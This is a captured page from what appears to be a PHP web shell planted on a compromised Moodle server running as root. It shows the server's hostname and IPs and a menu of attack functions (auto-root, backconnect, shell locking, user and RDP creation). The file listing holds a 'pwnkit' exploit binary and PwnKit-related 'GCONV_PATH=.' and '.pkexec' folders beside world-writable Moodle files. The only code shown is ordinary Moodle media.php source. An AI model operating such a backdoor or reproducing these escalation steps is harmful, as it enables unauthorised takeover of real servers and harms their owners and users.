Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.51
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
moodle /
lib /
classes /
plugininfo /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
antivirus.php
4.34
KB
-rwxrwxrwx
auth.php
4.36
KB
-rwxrwxrwx
availability.php
3.38
KB
-rwxrwxrwx
base.php
21.33
KB
-rwxrwxrwx
block.php
5.6
KB
-rwxrwxrwx
cachelock.php
1.08
KB
-rwxrwxrwx
cachestore.php
1.28
KB
-rwxrwxrwx
calendartype.php
2.65
KB
-rwxrwxrwx
contenttype.php
6.77
KB
-rwxrwxrwx
coursereport.php
1.08
KB
-rwxrwxrwx
customfield.php
4.14
KB
-rwxrwxrwx
dataformat.php
5.76
KB
-rwxrwxrwx
editor.php
3.12
KB
-rwxrwxrwx
enrol.php
5.27
KB
-rwxrwxrwx
fileconverter.php
5.94
KB
-rwxrwxrwx
filter.php
4.57
KB
-rwxrwxrwx
format.php
5.94
KB
-rwxrwxrwx
general.php
1.11
KB
-rwxrwxrwx
gradeexport.php
1.08
KB
-rwxrwxrwx
gradeimport.php
1.08
KB
-rwxrwxrwx
gradereport.php
1.08
KB
-rwxrwxrwx
gradingform.php
2.29
KB
-rwxrwxrwx
h5plib.php
2.63
KB
-rwxrwxrwx
local.php
2.24
KB
-rwxrwxrwx
media.php
6.31
KB
-rwxrwxrwx
message.php
3.32
KB
-rwxrwxrwx
mlbackend.php
2.83
KB
-rwxrwxrwx
mnetservice.php
1.25
KB
-rwxrwxrwx
mod.php
6.7
KB
-rwxrwxrwx
orphaned.php
2.82
KB
-rwxrwxrwx
plagiarism.php
2.15
KB
-rwxrwxrwx
portfolio.php
3.27
KB
-rwxrwxrwx
profilefield.php
1.39
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
qbehaviour.php
3.63
KB
-rwxrwxrwx
qformat.php
1.07
KB
-rwxrwxrwx
qtype.php
4.36
KB
-rwxrwxrwx
report.php
1.3
KB
-rwxrwxrwx
repository.php
3.36
KB
-rwxrwxrwx
search.php
1.56
KB
-rwxrwxrwx
theme.php
2.87
KB
-rwxrwxrwx
tool.php
2.52
KB
-rwxrwxrwx
webservice.php
2.84
KB
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : media.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * Defines classes used for plugin info. * * @package core * @copyright 2016 Marina Glancy * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ namespace core\plugininfo; defined('MOODLE_INTERNAL') || die(); /** * Class for media plugins * * @package core * @copyright 2016 Marina Glancy * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ class media extends base { public function is_uninstall_allowed() { return true; } /** * Get the name for the settings section. * * @return string */ public function get_settings_section_name() { return 'mediasetting' . $this->name; } /** * Load the global settings for a particular availability plugin (if there are any) * * @param \part_of_admin_tree $adminroot * @param string $parentnodename * @param bool $hassiteconfig */ public function load_settings(\part_of_admin_tree $adminroot, $parentnodename, $hassiteconfig) { global $CFG, $USER, $DB, $OUTPUT, $PAGE; // In case settings.php wants to refer to them. $ADMIN = $adminroot; // May be used in settings.php. $plugininfo = $this; // Also can be used inside settings.php $availability = $this; // Also to be used inside settings.php. if (!$this->is_installed_and_upgraded()) { return; } if (!$hassiteconfig) { return; } $section = $this->get_settings_section_name(); $settings = null; if (file_exists($this->full_path('settings.php'))) { $settings = new \admin_settingpage($section, $this->displayname, 'moodle/site:config', $this->is_enabled() === false); include($this->full_path('settings.php')); // This may also set $settings to null. } if ($settings) { $ADMIN->add($parentnodename, $settings); } } /** * Return URL used for management of plugins of this type. * @return \moodle_url */ public static function get_manage_url() { return new \moodle_url('/admin/settings.php', array('section' => 'managemediaplayers')); } public static function get_enabled_plugins() { global $CFG; $order = (!empty($CFG->media_plugins_sortorder)) ? explode(',', $CFG->media_plugins_sortorder) : []; if ($order) { $plugins = \core_plugin_manager::instance()->get_installed_plugins('media'); $order = array_intersect($order, array_keys($plugins)); } return array_combine($order, $order); } /** * Sets the current plugin as enabled or disabled * When enabling tries to guess the sortorder based on default rank returned by the plugin. * @param bool $newstate */ public function set_enabled($newstate = true) { $enabled = self::get_enabled_plugins(); if (array_key_exists($this->name, $enabled) == $newstate) { // Nothing to do. return; } if ($newstate) { // Enable media plugin. $plugins = \core_plugin_manager::instance()->get_plugins_of_type('media'); if (!array_key_exists($this->name, $plugins)) { // Can not be enabled. return; } $rank = $this->get_rank(); $position = 0; // Insert before the first enabled plugin which default rank is smaller than the default rank of this one. foreach ($enabled as $playername) { if (($player = $plugins[$playername]) && ($rank > $player->get_rank())) { break; } $position++; } array_splice($enabled, $position, 0, [$this->name]); self::set_enabled_plugins($enabled); } else { // Disable media plugin. unset($enabled[$this->name]); self::set_enabled_plugins($enabled); } } /** * Set the list of enabled media players in the specified sort order * To be used when changing settings or in unit tests * @param string|array $list list of plugin names without frankenstyle prefix - comma-separated string or an array */ public static function set_enabled_plugins($list) { if (empty($list)) { $list = []; } else if (!is_array($list)) { $list = explode(',', $list); } if ($list) { $plugins = \core_plugin_manager::instance()->get_installed_plugins('media'); $list = array_intersect($list, array_keys($plugins)); } set_config('media_plugins_sortorder', join(',', $list)); \core_plugin_manager::reset_caches(); \core_media_manager::reset_caches(); } /** * Returns the default rank of this plugin for default sort order * @return int */ public function get_rank() { $classname = '\media_'.$this->name.'_plugin'; if (class_exists($classname)) { $object = new $classname(); return $object->get_rank(); } return 0; } /** * Returns human-readable string of supported file/link types for the "Manage media players" page * @param array $extensions * @return string */ public function supports(&$extensions) { $classname = '\media_'.$this->name.'_plugin'; if (class_exists($classname)) { $object = new $classname(); $result = $object->supports($extensions); foreach ($object->get_supported_extensions() as $ext) { $extensions[$ext] = $ext; } return $result; } return ''; } }
Close